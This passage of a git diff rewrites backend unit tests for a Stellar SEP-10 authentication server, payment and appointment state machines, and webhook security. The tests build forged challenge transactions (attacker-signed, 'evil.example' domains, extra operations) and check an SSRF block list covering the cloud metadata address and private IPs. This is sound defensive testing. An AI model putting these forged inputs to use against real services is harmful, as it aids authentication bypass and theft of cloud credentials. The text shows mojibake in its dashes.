2. The structural half of the SEP-10 server verification list β€” the -// cases WebAuth.readChallengeTx rejects (malformed XDR, wrong source, -// bad sequence, bad timebounds, wrong domains, extra operations, -// missing/wrong server signature). These fail BEFORE any DB access, -// so they run without the embedded Postgres the integration suite -// uses. Signature/threshold/binding/replay cases live in -// tests/integration/sep10.test.mts. -import { describe, expect, it, vi } from 'vitest'; -import { Keypair, StrKey, WebAuth } from '@stellar/stellar-sdk'; -import { HttpError } from '../../src/http-error.js'; -import { config } from '../../src/config/index.js'; -import { - createSep10Challenge, - sep10ConfigProblems, - validateSep10Config, - verifySep10Challenge, -} from '../../src/modules/payments/services/sep10.js'; - -const HOME_DOMAIN = config.sep10.homeDomain!; -const WEB_AUTH_DOMAIN = config.sep10.webAuthDomain!; -const NETWORK_PASSPHRASE = config.sep10.networkPassphrase; -const SERVER_KP = Keypair.fromSecret(config.sep10.signingSecret!); -const TIMEOUT = 300; - -async function expectHttpError(promise: Promise, status: number, code: string): Promise { - try { - await promise; - } catch (err) { - expect(err).toBeInstanceOf(HttpError); - const httpErr = err as HttpError; - expect(httpErr.status).toBe(status); - expect(httpErr.code).toBe(code); - return httpErr; - } - throw new Error(`expected the promise to reject with ${status} ${code}`); -} - -describe('SEP-10 config validation (issue #77)', () => { - it('passes with the test suite configuration', async () => { - await expect(validateSep10Config()).resolves.toBeUndefined(); - await expect(sep10ConfigProblems()).resolves.toEqual([]); - }); - - it('names each missing env var, and never echoes a secret value', async () => { - vi.resetModules(); - vi.stubEnv('SEP10_SIGNING_SECRET', ''); - vi.stubEnv('SEP10_HOME_DOMAIN', ''); - vi.stubEnv('SEP10_WEB_AUTH_DOMAIN', ''); - vi.stubEnv('SEP10_CHALLENGE_TIMEOUT_SECONDS', 'not-a-number'); - - const { sep10ConfigProblems: freshProblems } = await import('../../src/modules/payments/services/sep10.js'); - const problems = await freshProblems(); - - expect(problems).toContain('SEP10_SIGNING_SECRET'); - expect(problems).toContain('SEP10_HOME_DOMAIN'); - expect(problems).toContain('SEP10_WEB_AUTH_DOMAIN'); - expect(problems.join(' ')).toContain('SEP10_CHALLENGE_TIMEOUT_SECONDS'); - - vi.unstubAllEnvs(); - vi.resetModules(); - }); - - it('flags a malformed signing secret without printing it', async () => { - vi.resetModules(); - vi.stubEnv('SEP10_SIGNING_SECRET', 'Sdefinitelynotarealsecretkey'); - - const { sep10ConfigProblems: freshProblems } = await import('../../src/modules/payments/services/sep10.js'); - const problems = await freshProblems(); - - expect(problems).toContain('SEP10_SIGNING_SECRET (not a valid Stellar secret key)'); - expect(problems.join(' ')).not.toContain('Sdefinitelynotarealsecretkey'); - - vi.unstubAllEnvs(); - vi.resetModules(); - }); -}); - -describe('SEP-10 challenge account validation', () => { - it('rejects a G-shaped key that fails the strkey checksum', async () => { - // Valid public key with the last character flipped β€” right shape, - // wrong CRC16 checksum. Must be caught server-side (400), not at - // wallet-signing time. - const valid = Keypair.random().publicKey(); - const corrupted = valid.slice(0, -1) + (valid.endsWith('A') ? 'B' : 'A'); - expect(StrKey.isValidEd25519PublicKey(corrupted)).toBe(false); - - const err = await expectHttpError(createSep10Challenge('user-id-unused', corrupted), 400, 'SEP10_INVALID_ACCOUNT'); - expect(err.message).toContain('valid Stellar public key'); - }); - - it('rejects non-G input (muxed M…, lowercase, wrong length)', async () => { - for (const bad of ['GSHORT', 'g' + 'A'.repeat(55), Keypair.random().publicKey().toLowerCase(), 'M' + 'A'.repeat(55)]) { - await expectHttpError(createSep10Challenge('user-id-unused', bad), 400, 'SEP10_INVALID_ACCOUNT'); - } - }); -}); - -describe('SEP-10 server verification list β€” structural checks (unit)', () => { - const clientKp = Keypair.random(); - - it('rejects garbage input that is not XDR', async () => { - await expectHttpError(verifySep10Challenge('user-id-unused', 'not-an-xdr-string'), 400, 'SEP10_INVALID_CHALLENGE'); - }); - - it('rejects a transaction whose source is not the server signing account', async () => { - // Built and signed by an attacker-controlled "server" key: the tx - // source is the attacker's account, so it is not our challenge. - const attackerServerKp = Keypair.random(); - const forged = WebAuth.buildChallengeTx( - attackerServerKp, - clientKp.publicKey(), - HOME_DOMAIN, - TIMEOUT, - NETWORK_PASSPHRASE, - WEB_AUTH_DOMAIN, - ); - const err = await expectHttpError(verifySep10Challenge('user-id-unused', forged), 400, 'SEP10_INVALID_CHALLENGE'); - expect(err.message).toContain('source account'); - }); - - it('rejects a challenge not signed by the server (wrong/missing server signature)', async () => { - // Correct source account, but signed by a key that is NOT the - // configured server key β€” the server signature check must fail. - const { Account, BASE_FEE, Operation, TransactionBuilder } = await import('@stellar/stellar-sdk'); - const impostorKp = Keypair.random(); - const now = Math.floor(Date.now() / 1000); - const forged = new TransactionBuilder(new Account(SERVER_KP.publicKey(), '-1'), { - fee: BASE_FEE, - networkPassphrase: NETWORK_PASSPHRASE, - timebounds: { minTime: now, maxTime: now + TIMEOUT }, - }) - .addOperation( - Operation.manageData({ - name: `${HOME_DOMAIN} auth`, - value: 'a'.repeat(64), - source: clientKp.publicKey(), - }), - ) - .addOperation(Operation.manageData({ name: 'web_auth_domain', value: WEB_AUTH_DOMAIN, source: SERVER_KP.publicKey() })) - .build(); - forged.sign(impostorKp); - - const err = await expectHttpError( - verifySep10Challenge('user-id-unused', forged.toEnvelope().toXDR('base64')), - 400, - 'SEP10_INVALID_CHALLENGE', - ); - expect(err.message).toContain('signed by server'); - }); - - it('rejects a non-zero sequence number', async () => { - const { Account, BASE_FEE, Operation, TransactionBuilder } = await import('@stellar/stellar-sdk'); - const now = Math.floor(Date.now() / 1000); - const forged = new TransactionBuilder(new Account(SERVER_KP.publicKey(), '0'), { - fee: BASE_FEE, - networkPassphrase: NETWORK_PASSPHRASE, - timebounds: { minTime: now, maxTime: now + TIMEOUT }, - }) - .addOperation( - Operation.manageData({ - name: `${HOME_DOMAIN} auth`, - value: 'a'.repeat(64), - source: clientKp.publicKey(), - }), - ) - .addOperation(Operation.manageData({ name: 'web_auth_domain', value: WEB_AUTH_DOMAIN, source: SERVER_KP.publicKey() })) - .build(); - forged.sign(SERVER_KP); - - const err = await expectHttpError( - verifySep10Challenge('user-id-unused', forged.toEnvelope().toXDR('base64')), - 400, - 'SEP10_INVALID_CHALLENGE', - ); - expect(err.message).toContain('sequence number'); - }); - - it('rejects expired time bounds', async () => { - const { Account, BASE_FEE, Operation, TransactionBuilder } = await import('@stellar/stellar-sdk'); - const now = Math.floor(Date.now() / 1000); - // Expired well beyond the SDK's 5-minute clock-drift grace window. - const expired = new TransactionBuilder(new Account(SERVER_KP.publicKey(), '-1'), { - fee: BASE_FEE, - networkPassphrase: NETWORK_PASSPHRASE, - timebounds: { minTime: now - 1800, maxTime: now - 1200 }, - }) - .addOperation( - Operation.manageData({ - name: `${HOME_DOMAIN} auth`, - value: 'a'.repeat(64), - source: clientKp.publicKey(), - }), - ) - .addOperation(Operation.manageData({ name: 'web_auth_domain', value: WEB_AUTH_DOMAIN, source: SERVER_KP.publicKey() })) - .build(); - expired.sign(SERVER_KP); - - const err = await expectHttpError( - verifySep10Challenge('user-id-unused', expired.toEnvelope().toXDR('base64')), - 400, - 'SEP10_INVALID_CHALLENGE', - ); - expect(err.message).toContain('expired'); - }); - - it('rejects a challenge whose Manage Data key uses a different home domain', async () => { - const forged = WebAuth.buildChallengeTx( - SERVER_KP, - clientKp.publicKey(), - 'evil.example', - TIMEOUT, - NETWORK_PASSPHRASE, - WEB_AUTH_DOMAIN, - ); - const err = await expectHttpError(verifySep10Challenge('user-id-unused', forged), 400, 'SEP10_INVALID_CHALLENGE'); - expect(err.message).toContain('home domain'); - }); - - it('rejects a challenge whose web_auth_domain operation value is wrong', async () => { - const forged = WebAuth.buildChallengeTx( - SERVER_KP, - clientKp.publicKey(), - HOME_DOMAIN, - TIMEOUT, - NETWORK_PASSPHRASE, - 'evil.example', // web_auth_domain op will carry this, not ours - ); - await expectHttpError(verifySep10Challenge('user-id-unused', forged), 400, 'SEP10_INVALID_CHALLENGE'); - }); - - it('rejects extra operations that are not server-sourced Manage Data', async () => { - const { Account, BASE_FEE, Operation, TransactionBuilder } = await import('@stellar/stellar-sdk'); - const now = Math.floor(Date.now() / 1000); - const forged = new TransactionBuilder(new Account(SERVER_KP.publicKey(), '-1'), { - fee: BASE_FEE, - networkPassphrase: NETWORK_PASSPHRASE, - timebounds: { minTime: now, maxTime: now + TIMEOUT }, - }) - .addOperation( - Operation.manageData({ - name: `${HOME_DOMAIN} auth`, - value: 'a'.repeat(64), - source: clientKp.publicKey(), - }), - ) - .addOperation(Operation.manageData({ name: 'web_auth_domain', value: WEB_AUTH_DOMAIN, source: SERVER_KP.publicKey() })) - // A client-sourced extra op β€” a SEP-10 challenge only ever allows - // server-sourced additional operations (plus client_domain). - .addOperation( - Operation.manageData({ name: 'sneaky', value: 'x', source: clientKp.publicKey() }), - ) - .build(); - forged.sign(SERVER_KP); - - await expectHttpError( - verifySep10Challenge('user-id-unused', forged.toEnvelope().toXDR('base64')), - 400, - 'SEP10_INVALID_CHALLENGE', - ); - }); - - it('rejects a challenge whose first operation is not Manage Data', async () => { - const { Account, BASE_FEE, Operation, TransactionBuilder } = await import('@stellar/stellar-sdk'); - const now = Math.floor(Date.now() / 1000); - const forged = new TransactionBuilder(new Account(SERVER_KP.publicKey(), '-1'), { - fee: BASE_FEE, - networkPassphrase: NETWORK_PASSPHRASE, - timebounds: { minTime: now, maxTime: now + TIMEOUT }, - }) - .addOperation(Operation.bumpSequence({ bumpTo: '1', source: clientKp.publicKey() })) - .build(); - forged.sign(SERVER_KP); - - await expectHttpError( - verifySep10Challenge('user-id-unused', forged.toEnvelope().toXDR('base64')), - 400, - 'SEP10_INVALID_CHALLENGE', - ); - }); - - it('rejects a challenge with a nonce that is not 48-random-bytes base64', async () => { - const { Account, BASE_FEE, Operation, TransactionBuilder } = await import('@stellar/stellar-sdk'); - const now = Math.floor(Date.now() / 1000); - const forged = new TransactionBuilder(new Account(SERVER_KP.publicKey(), '-1'), { - fee: BASE_FEE, - networkPassphrase: NETWORK_PASSPHRASE, - timebounds: { minTime: now, maxTime: now + TIMEOUT }, - }) - .addOperation( - Operation.manageData({ - name: `${HOME_DOMAIN} auth`, - value: 'too-short', // not 48 bytes once base64-decoded - source: clientKp.publicKey(), - }), - ) - .addOperation(Operation.manageData({ name: 'web_auth_domain', value: WEB_AUTH_DOMAIN, source: SERVER_KP.publicKey() })) - .build(); - forged.sign(SERVER_KP); - - await expectHttpError( - verifySep10Challenge('user-id-unused', forged.toEnvelope().toXDR('base64')), - 400, - 'SEP10_INVALID_CHALLENGE', - ); - }); -}); +// Unit tests for the SEP-10 server (issue #77) β€” no database, no network. +// +// Two groups: +// 1. Configuration validation (startup check reports var NAMES, never +// secret values). +// 2. The structural half of the SEP-10 server verification list β€” the +// cases WebAuth.readChallengeTx rejects (malformed XDR, wrong source, +// bad sequence, bad timebounds, wrong domains, extra operations, +// missing/wrong server signature). These fail BEFORE any DB access, +// so they run without the embedded Postgres the integration suite +// uses. Signature/threshold/binding/replay cases live in +// tests/integration/sep10.test.mts. +import { describe, expect, it, vi } from 'vitest'; +import { Keypair, StrKey, WebAuth } from '@stellar/stellar-sdk'; +import { HttpError } from '../../src/http-error.js'; +import { config } from '../../src/config/index.js'; +import { + createSep10Challenge, + sep10ConfigProblems, + validateSep10Config, + verifySep10Challenge, +} from '../../src/modules/payments/services/sep10.js'; + +const HOME_DOMAIN = config.sep10.homeDomain!; +const WEB_AUTH_DOMAIN = config.sep10.webAuthDomain!; +const NETWORK_PASSPHRASE = config.sep10.networkPassphrase; +const SERVER_KP = Keypair.fromSecret(config.sep10.signingSecret!); +const TIMEOUT = 300; + +async function expectHttpError(promise: Promise, status: number, code: string): Promise { + try { + await promise; + } catch (err) { + expect(err).toBeInstanceOf(HttpError); + const httpErr = err as HttpError; + expect(httpErr.status).toBe(status); + expect(httpErr.code).toBe(code); + return httpErr; + } + throw new Error(`expected the promise to reject with ${status} ${code}`); +} + +describe('SEP-10 config validation (issue #77)', () => { + it('passes with the test suite configuration', async () => { + await expect(validateSep10Config()).resolves.toBeUndefined(); + await expect(sep10ConfigProblems()).resolves.toEqual([]); + }); + + it('names each missing env var, and never echoes a secret value', async () => { + vi.resetModules(); + vi.stubEnv('SEP10_SIGNING_SECRET', ''); + vi.stubEnv('SEP10_HOME_DOMAIN', ''); + vi.stubEnv('SEP10_WEB_AUTH_DOMAIN', ''); + vi.stubEnv('SEP10_CHALLENGE_TIMEOUT_SECONDS', 'not-a-number'); + + const { sep10ConfigProblems: freshProblems } = await import('../../src/modules/payments/services/sep10.js'); + const problems = await freshProblems(); + + expect(problems).toContain('SEP10_SIGNING_SECRET'); + expect(problems).toContain('SEP10_HOME_DOMAIN'); + expect(problems).toContain('SEP10_WEB_AUTH_DOMAIN'); + expect(problems.join(' ')).toContain('SEP10_CHALLENGE_TIMEOUT_SECONDS'); + + vi.unstubAllEnvs(); + vi.resetModules(); + }); + + it('flags a malformed signing secret without printing it', async () => { + vi.resetModules(); + vi.stubEnv('SEP10_SIGNING_SECRET', 'Sdefinitelynotarealsecretkey'); + + const { sep10ConfigProblems: freshProblems } = await import('../../src/modules/payments/services/sep10.js'); + const problems = await freshProblems(); + + expect(problems).toContain('SEP10_SIGNING_SECRET (not a valid Stellar secret key)'); + expect(problems.join(' ')).not.toContain('Sdefinitelynotarealsecretkey'); + + vi.unstubAllEnvs(); + vi.resetModules(); + }); +}); + +describe('SEP-10 challenge account validation', () => { + it('rejects a G-shaped key that fails the strkey checksum', async () => { + // Valid public key with the last character flipped β€” right shape, + // wrong CRC16 checksum. Must be caught server-side (400), not at + // wallet-signing time. + const valid = Keypair.random().publicKey(); + const corrupted = valid.slice(0, -1) + (valid.endsWith('A') ? 'B' : 'A'); + expect(StrKey.isValidEd25519PublicKey(corrupted)).toBe(false); + + const err = await expectHttpError(createSep10Challenge('user-id-unused', corrupted), 400, 'SEP10_INVALID_ACCOUNT'); + expect(err.message).toContain('valid Stellar public key'); + }); + + it('rejects non-G input (muxed M…, lowercase, wrong length)', async () => { + for (const bad of ['GSHORT', 'g' + 'A'.repeat(55), Keypair.random().publicKey().toLowerCase(), 'M' + 'A'.repeat(55)]) { + await expectHttpError(createSep10Challenge('user-id-unused', bad), 400, 'SEP10_INVALID_ACCOUNT'); + } + }); +}); + +describe('SEP-10 server verification list β€” structural checks (unit)', () => { + const clientKp = Keypair.random(); + + it('rejects garbage input that is not XDR', async () => { + await expectHttpError(verifySep10Challenge('user-id-unused', 'not-an-xdr-string'), 400, 'SEP10_INVALID_CHALLENGE'); + }); + + it('rejects a transaction whose source is not the server signing account', async () => { + // Built and signed by an attacker-controlled "server" key: the tx + // source is the attacker's account, so it is not our challenge. + const attackerServerKp = Keypair.random(); + const forged = WebAuth.buildChallengeTx( + attackerServerKp, + clientKp.publicKey(), + HOME_DOMAIN, + TIMEOUT, + NETWORK_PASSPHRASE, + WEB_AUTH_DOMAIN, + ); + const err = await expectHttpError(verifySep10Challenge('user-id-unused', forged), 400, 'SEP10_INVALID_CHALLENGE'); + expect(err.message).toContain('source account'); + }); + + it('rejects a challenge not signed by the server (wrong/missing server signature)', async () => { + // Correct source account, but signed by a key that is NOT the + // configured server key β€” the server signature check must fail. + const { Account, BASE_FEE, Operation, TransactionBuilder } = await import('@stellar/stellar-sdk'); + const impostorKp = Keypair.random(); + const now = Math.floor(Date.now() / 1000); + const forged = new TransactionBuilder(new Account(SERVER_KP.publicKey(), '-1'), { + fee: BASE_FEE, + networkPassphrase: NETWORK_PASSPHRASE, + timebounds: { minTime: now, maxTime: now + TIMEOUT }, + }) + .addOperation( + Operation.manageData({ + name: `${HOME_DOMAIN} auth`, + value: 'a'.repeat(64), + source: clientKp.publicKey(), + }), + ) + .addOperation(Operation.manageData({ name: 'web_auth_domain', value: WEB_AUTH_DOMAIN, source: SERVER_KP.publicKey() })) + .build(); + forged.sign(impostorKp); + + const err = await expectHttpError( + verifySep10Challenge('user-id-unused', forged.toEnvelope().toXDR('base64')), + 400, + 'SEP10_INVALID_CHALLENGE', + ); + expect(err.message).toContain('signed by server'); + }); + + it('rejects a non-zero sequence number', async () => { + const { Account, BASE_FEE, Operation, TransactionBuilder } = await import('@stellar/stellar-sdk'); + const now = Math.floor(Date.now() / 1000); + const forged = new TransactionBuilder(new Account(SERVER_KP.publicKey(), '0'), { + fee: BASE_FEE, + networkPassphrase: NETWORK_PASSPHRASE, + timebounds: { minTime: now, maxTime: now + TIMEOUT }, + }) + .addOperation( + Operation.manageData({ + name: `${HOME_DOMAIN} auth`, + value: 'a'.repeat(64), + source: clientKp.publicKey(), + }), + ) + .addOperation(Operation.manageData({ name: 'web_auth_domain', value: WEB_AUTH_DOMAIN, source: SERVER_KP.publicKey() })) + .build(); + forged.sign(SERVER_KP); + + const err = await expectHttpError( + verifySep10Challenge('user-id-unused', forged.toEnvelope().toXDR('base64')), + 400, + 'SEP10_INVALID_CHALLENGE', + ); + expect(err.message).toContain('sequence number'); + }); + + it('rejects expired time bounds', async () => { + const { Account, BASE_FEE, Operation, TransactionBuilder } = await import('@stellar/stellar-sdk'); + const now = Math.floor(Date.now() / 1000); + // Expired well beyond the SDK's 5-minute clock-drift grace window. + const expired = new TransactionBuilder(new Account(SERVER_KP.publicKey(), '-1'), { + fee: BASE_FEE, + networkPassphrase: NETWORK_PASSPHRASE, + timebounds: { minTime: now - 1800, maxTime: now - 1200 }, + }) + .addOperation( + Operation.manageData({ + name: `${HOME_DOMAIN} auth`, + value: 'a'.repeat(64), + source: clientKp.publicKey(), + }), + ) + .addOperation(Operation.manageData({ name: 'web_auth_domain', value: WEB_AUTH_DOMAIN, source: SERVER_KP.publicKey() })) + .build(); + expired.sign(SERVER_KP); + + const err = await expectHttpError( + verifySep10Challenge('user-id-unused', expired.toEnvelope().toXDR('base64')), + 400, + 'SEP10_INVALID_CHALLENGE', + ); + expect(err.message).toContain('expired'); + }); + + it('rejects a challenge whose Manage Data key uses a different home domain', async () => { + const forged = WebAuth.buildChallengeTx( + SERVER_KP, + clientKp.publicKey(), + 'evil.example', + TIMEOUT, + NETWORK_PASSPHRASE, + WEB_AUTH_DOMAIN, + ); + const err = await expectHttpError(verifySep10Challenge('user-id-unused', forged), 400, 'SEP10_INVALID_CHALLENGE'); + expect(err.message).toContain('home domain'); + }); + + it('rejects a challenge whose web_auth_domain operation value is wrong', async () => { + const forged = WebAuth.buildChallengeTx( + SERVER_KP, + clientKp.publicKey(), + HOME_DOMAIN, + TIMEOUT, + NETWORK_PASSPHRASE, + 'evil.example', // web_auth_domain op will carry this, not ours + ); + await expectHttpError(verifySep10Challenge('user-id-unused', forged), 400, 'SEP10_INVALID_CHALLENGE'); + }); + + it('rejects extra operations that are not server-sourced Manage Data', async () => { + const { Account, BASE_FEE, Operation, TransactionBuilder } = await import('@stellar/stellar-sdk'); + const now = Math.floor(Date.now() / 1000); + const forged = new TransactionBuilder(new Account(SERVER_KP.publicKey(), '-1'), { + fee: BASE_FEE, + networkPassphrase: NETWORK_PASSPHRASE, + timebounds: { minTime: now, maxTime: now + TIMEOUT }, + }) + .addOperation( + Operation.manageData({ + name: `${HOME_DOMAIN} auth`, + value: 'a'.repeat(64), + source: clientKp.publicKey(), + }), + ) + .addOperation(Operation.manageData({ name: 'web_auth_domain', value: WEB_AUTH_DOMAIN, source: SERVER_KP.publicKey() })) + // A client-sourced extra op β€” a SEP-10 challenge only ever allows + // server-sourced additional operations (plus client_domain). + .addOperation( + Operation.manageData({ name: 'sneaky', value: 'x', source: clientKp.publicKey() }), + ) + .build(); + forged.sign(SERVER_KP); + + await expectHttpError( + verifySep10Challenge('user-id-unused', forged.toEnvelope().toXDR('base64')), + 400, + 'SEP10_INVALID_CHALLENGE', + ); + }); + + it('rejects a challenge whose first operation is not Manage Data', async () => { + const { Account, BASE_FEE, Operation, TransactionBuilder } = await import('@stellar/stellar-sdk'); + const now = Math.floor(Date.now() / 1000); + const forged = new TransactionBuilder(new Account(SERVER_KP.publicKey(), '-1'), { + fee: BASE_FEE, + networkPassphrase: NETWORK_PASSPHRASE, + timebounds: { minTime: now, maxTime: now + TIMEOUT }, + }) + .addOperation(Operation.bumpSequence({ bumpTo: '1', source: clientKp.publicKey() })) + .build(); + forged.sign(SERVER_KP); + + await expectHttpError( + verifySep10Challenge('user-id-unused', forged.toEnvelope().toXDR('base64')), + 400, + 'SEP10_INVALID_CHALLENGE', + ); + }); + + it('rejects a challenge with a nonce that is not 48-random-bytes base64', async () => { + const { Account, BASE_FEE, Operation, TransactionBuilder } = await import('@stellar/stellar-sdk'); + const now = Math.floor(Date.now() / 1000); + const forged = new TransactionBuilder(new Account(SERVER_KP.publicKey(), '-1'), { + fee: BASE_FEE, + networkPassphrase: NETWORK_PASSPHRASE, + timebounds: { minTime: now, maxTime: now + TIMEOUT }, + }) + .addOperation( + Operation.manageData({ + name: `${HOME_DOMAIN} auth`, + value: 'too-short', // not 48 bytes once base64-decoded + source: clientKp.publicKey(), + }), + ) + .addOperation(Operation.manageData({ name: 'web_auth_domain', value: WEB_AUTH_DOMAIN, source: SERVER_KP.publicKey() })) + .build(); + forged.sign(SERVER_KP); + + await expectHttpError( + verifySep10Challenge('user-id-unused', forged.toEnvelope().toXDR('base64')), + 400, + 'SEP10_INVALID_CHALLENGE', + ); + }); +}); diff --git a/backend/tests/unit/state-machines.property.test.ts b/backend/tests/unit/state-machines.property.test.ts index 87cf3540..00521168 100644 --- a/backend/tests/unit/state-machines.property.test.ts +++ b/backend/tests/unit/state-machines.property.test.ts @@ -1,49 +1,49 @@ -import fc from 'fast-check'; -import { describe, expect, it } from 'vitest'; -import type { AppointmentStatus, PaymentIntentStatus } from '@prisma/client'; -import { transitionAppointmentStatus } from '../../src/modules/appointments/state-machine'; -import { transitionPaymentIntentStatus } from '../../src/modules/payments/services/state-machine'; - -const seed = Number(process.env.PROPERTY_TEST_SEED ?? 424242); -const numRuns = Number(process.env.PROPERTY_TEST_RUNS ?? 300); - -describe('lifecycle state-machine properties', () => { - it('never moves an appointment out of its terminal state', () => { - fc.assert(fc.property( - fc.array(fc.constantFrom('scheduled', 'completed', 'cancelled', 'no_show'), { maxLength: 100 }), - (operations) => { - let state: AppointmentStatus = 'scheduled'; - for (const requested of operations) { - const next = transitionAppointmentStatus(state, requested); - if (next !== null) state = next; - expect(['scheduled', 'completed', 'cancelled', 'no_show']).toContain(state); - if (state !== 'scheduled') { - expect(transitionAppointmentStatus(state, 'scheduled')).toBeNull(); - expect(transitionAppointmentStatus(state, 'completed')).toBeNull(); - expect(transitionAppointmentStatus(state, 'cancelled')).toBeNull(); - expect(transitionAppointmentStatus(state, 'no_show')).toBeNull(); - } - } - }, - ), { seed, numRuns }); - }); - - it('keeps payment intents in the created β†’ escrowed β†’ released/refunded lifecycle', () => { - fc.assert(fc.property( - fc.array(fc.constantFrom('created', 'escrowed', 'released', 'refunded', 'failed'), { maxLength: 100 }), - (operations) => { - let state: PaymentIntentStatus = 'created'; - for (const requested of operations) { - const next = transitionPaymentIntentStatus(state, requested); - if (next !== null) state = next; - expect(['created', 'escrowed', 'released', 'refunded', 'failed']).toContain(state); - if (state === 'released' || state === 'refunded' || state === 'failed') { - for (const later of ['created', 'escrowed', 'released', 'refunded', 'failed'] as const) { - expect(transitionPaymentIntentStatus(state, later)).toBeNull(); - } - } - } - }, - ), { seed: seed + 2, numRuns }); - }); -}); +import fc from 'fast-check'; +import { describe, expect, it } from 'vitest'; +import type { AppointmentStatus, PaymentIntentStatus } from '@prisma/client'; +import { transitionAppointmentStatus } from '../../src/modules/appointments/state-machine'; +import { transitionPaymentIntentStatus } from '../../src/modules/payments/services/state-machine'; + +const seed = Number(process.env.PROPERTY_TEST_SEED ?? 424242); +const numRuns = Number(process.env.PROPERTY_TEST_RUNS ?? 300); + +describe('lifecycle state-machine properties', () => { + it('never moves an appointment out of its terminal state', () => { + fc.assert(fc.property( + fc.array(fc.constantFrom('scheduled', 'completed', 'cancelled', 'no_show'), { maxLength: 100 }), + (operations) => { + let state: AppointmentStatus = 'scheduled'; + for (const requested of operations) { + const next = transitionAppointmentStatus(state, requested); + if (next !== null) state = next; + expect(['scheduled', 'completed', 'cancelled', 'no_show']).toContain(state); + if (state !== 'scheduled') { + expect(transitionAppointmentStatus(state, 'scheduled')).toBeNull(); + expect(transitionAppointmentStatus(state, 'completed')).toBeNull(); + expect(transitionAppointmentStatus(state, 'cancelled')).toBeNull(); + expect(transitionAppointmentStatus(state, 'no_show')).toBeNull(); + } + } + }, + ), { seed, numRuns }); + }); + + it('keeps payment intents in the created β†’ escrowed β†’ released/refunded lifecycle', () => { + fc.assert(fc.property( + fc.array(fc.constantFrom('created', 'escrowed', 'released', 'refunded', 'failed'), { maxLength: 100 }), + (operations) => { + let state: PaymentIntentStatus = 'created'; + for (const requested of operations) { + const next = transitionPaymentIntentStatus(state, requested); + if (next !== null) state = next; + expect(['created', 'escrowed', 'released', 'refunded', 'failed']).toContain(state); + if (state === 'released' || state === 'refunded' || state === 'failed') { + for (const later of ['created', 'escrowed', 'released', 'refunded', 'failed'] as const) { + expect(transitionPaymentIntentStatus(state, later)).toBeNull(); + } + } + } + }, + ), { seed: seed + 2, numRuns }); + }); +}); diff --git a/backend/tests/unit/webhook-security.test.ts b/backend/tests/unit/webhook-security.test.ts index c4c384da..62d00e4c 100644 --- a/backend/tests/unit/webhook-security.test.ts +++ b/backend/tests/unit/webhook-security.test.ts @@ -1,97 +1,97 @@ -import { describe, expect, it } from 'vitest'; -import { - WebhookUrlError, - assertWebhookUrl, - isBlockedWebhookAddress, - signWebhookPayload, - verifyWebhookSignature, - webhookRetryDelaySeconds, -} from '../../src/utils/webhook-security'; - -describe('assertWebhookUrl', () => { - it('accepts an https URL with a public host', () => { - expect(assertWebhookUrl('https://facility.example.com/hooks').hostname).toBe('facility.example.com'); - }); - - it('rejects plain http', () => { - expect(() => assertWebhookUrl('http://facility.example.com/hooks')).toThrow(WebhookUrlError); - }); - - it('rejects a URL with embedded credentials', () => { - expect(() => assertWebhookUrl('https://user:pass@facility.example.com/')).toThrow(/credentials/); - }); - - it('rejects metadata and private IP literals', () => { - expect(() => assertWebhookUrl('https://169.254.169.254/latest')).toThrow(/private or reserved/); - expect(() => assertWebhookUrl('https://10.0.0.5/hook')).toThrow(/private or reserved/); - expect(() => assertWebhookUrl('https://[::1]/hook')).toThrow(/private or reserved/); - }); - - it('rejects a malformed URL', () => { - expect(() => assertWebhookUrl('not a url')).toThrow(WebhookUrlError); - }); -}); - -describe('isBlockedWebhookAddress', () => { - it.each(['127.0.0.1', '10.1.2.3', '172.20.0.1', '192.168.1.1', '169.254.169.254', '100.64.1.1', '0.0.0.0'])( - 'blocks IPv4 %s', - (address) => { - expect(isBlockedWebhookAddress(address)).toBe(true); - }, - ); - - it('allows a public IPv4 address', () => { - expect(isBlockedWebhookAddress('93.184.216.34')).toBe(false); - expect(isBlockedWebhookAddress('172.32.0.1')).toBe(false); - }); - - it.each(['::1', 'fe80::1', 'fc00::1', 'fd12::1', '::ffff:10.0.0.1', '::ffff:169.254.169.254'])( - 'blocks IPv6 %s', - (address) => { - expect(isBlockedWebhookAddress(address)).toBe(true); - }, - ); - - it('fails closed on something that is not an IP literal', () => { - expect(isBlockedWebhookAddress('not-an-ip')).toBe(true); - }); -}); - -describe('webhook signatures', () => { - const secret = 'facility-secret'; - const body = '{"event":"order.assigned","orderId":"o-1"}'; - - it('verifies a payload signed with the same secret and a fresh timestamp', () => { - const header = signWebhookPayload(secret, body, 1_000_000); - expect(verifyWebhookSignature(secret, body, header, 1_000_060)).toBe(true); - }); - - it('rejects a tampered body', () => { - const header = signWebhookPayload(secret, body, 1_000_000); - expect(verifyWebhookSignature(secret, body.replace('o-1', 'o-2'), header, 1_000_000)).toBe(false); - }); - - it('rejects a wrong secret', () => { - const header = signWebhookPayload(secret, body, 1_000_000); - expect(verifyWebhookSignature('other-secret', body, header, 1_000_000)).toBe(false); - }); - - it('rejects a replay outside the tolerance window', () => { - const header = signWebhookPayload(secret, body, 1_000_000); - expect(verifyWebhookSignature(secret, body, header, 1_000_000 + 301)).toBe(false); - }); - - it('rejects a malformed header', () => { - expect(verifyWebhookSignature(secret, body, 'garbage', 1_000_000)).toBe(false); - }); -}); - -describe('webhookRetryDelaySeconds', () => { - it('doubles the delay per attempt from 30 seconds', () => { - expect([1, 2, 3, 4].map(webhookRetryDelaySeconds)).toEqual([30, 60, 120, 240]); - }); - - it('caps the delay at six hours', () => { - expect(webhookRetryDelaySeconds(50)).toBe(6 * 60 * 60); - }); -}); +import { describe, expect, it } from 'vitest'; +import { + WebhookUrlError, + assertWebhookUrl, + isBlockedWebhookAddress, + signWebhookPayload, + verifyWebhookSignature, + webhookRetryDelaySeconds, +} from '../../src/utils/webhook-security'; + +describe('assertWebhookUrl', () => { + it('accepts an https URL with a public host', () => { + expect(assertWebhookUrl('https://facility.example.com/hooks').hostname).toBe('facility.example.com'); + }); + + it('rejects plain http', () => { + expect(() => assertWebhookUrl('http://facility.example.com/hooks')).toThrow(WebhookUrlError); + }); + + it('rejects a URL with embedded credentials', () => { + expect(() => assertWebhookUrl('https://user:pass@facility.example.com/')).toThrow(/credentials/); + }); + + it('rejects metadata and private IP literals', () => { + expect(() => assertWebhookUrl('https://169.254.169.254/latest')).toThrow(/private or reserved/); + expect(() => assertWebhookUrl('https://10.0.0.5/hook')).toThrow(/private or reserved/); + expect(() => assertWebhookUrl('https://[::1]/hook')).toThrow(/private or reserved/); + }); + + it('rejects a malformed URL', () => { + expect(() => assertWebhookUrl('not a url')).toThrow(WebhookUrlError); + }); +}); + +describe('isBlockedWebhookAddress', () => { + it.each(['127.0.0.1', '10.1.2.3', 